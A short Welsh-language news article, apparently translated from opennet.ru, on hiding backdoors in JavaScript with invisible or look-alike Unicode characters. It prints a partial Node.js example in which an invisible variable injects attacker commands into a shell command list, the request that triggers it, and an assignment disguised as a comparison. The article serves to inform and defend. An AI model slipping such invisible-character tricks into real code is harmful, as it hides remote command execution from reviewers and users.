Defnyddio nodau unicode anweledig i guddio gweithredoedd yn y cod JavaScript

Yn dilyn y dull ymosodiad Ffynhonnell Trojan, sy'n seiliedig ar y defnydd o nodau Unicode sy'n newid trefn arddangos testun deugyfeiriadol, mae techneg arall ar gyfer cyflwyno gweithredoedd cudd wedi'i chyhoeddi, sy'n berthnasol i god JavaScript. Mae'r dull newydd yn seiliedig ar y defnydd o'r nod unicode “ㅤ” (cod 0x3164, “HANGUL FILLER”), sy'n perthyn i'r categori llythyrau, ond heb gynnwys gweladwy. Mae'r categori Unicode y mae'r nod hwn yn perthyn iddo wedi'i ganiatáu ers manyleb ECMAScript 2015 i'w ddefnyddio mewn enwau newidyn JavaScript, gan ei gwneud hi'n bosibl creu newidynnau anweledig neu newidynnau newydd na ellir eu gwahaniaethu oddi wrth newidynnau eraill mewn golygyddion cod poblogaidd fel Notepad ++ a VS Code.

Er enghraifft, rhoddir y cod ar gyfer platfform Node.js, lle, gan ddefnyddio newidyn sy'n cynnwys un nod “ㅤ”, mae drws cefn wedi'i guddio sy'n caniatáu gweithredu'r cod a nodir gan yr ymosodwr: app.get('/ network_health ', async (req, res) => { const { goramser, ㅤ} = req.query; // mewn gwirionedd mae'n dweud “const { goramser, ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/', ㅤ // dilynir y coma gan y cymeriad \u3164 ];

Ar yr olwg gyntaf, dim ond y gwerth terfyn amser sy'n cael ei basio trwy'r paramedr allanol, ac mae'r arae gyda'r gorchmynion i'w gweithredu yn cynnwys rhestr sefydlog ddiniwed. Ond mewn gwirionedd, ar ôl y newidyn terfyn amser, mae gwerth newidyn anweledig arall gyda'r cod nod \u3164 yn cael ei neilltuo, sydd hefyd yn cael ei amnewid yn yr amrywiaeth o orchmynion gweithredadwy. Felly, os oes dyluniad o'r fath ar gael, gall ymosodwr anfon cais fel “https://host: 8080/network_health?%E3%85%A4=command” i actifadu'r drws cefn a gweithredu eu cod.

Enghraifft arall yw'r cymeriad "ǃ" (CLICIWCH ALVEOLAR), y gellir ei ddefnyddio i roi ymddangosiad nodi pwynt ebychnod. Er enghraifft, bydd yr ymadrodd “if(environmentǃ=ENV_PROD){” pan gaiff ei weithredu yn Node.js 14 bob amser yn wir, gan nad yw'n gwirio am wahaniaethau, ond yn aseinio gwerth ENV_PROD i'r newidyn “environmentǃ”. Mae cymeriadau unicode camarweiniol eraill yn cynnwys "／", "−", "＋", "⩵", "❨", "⫽", "꓿" a "∗".

Ffynhonnell: opennet.ru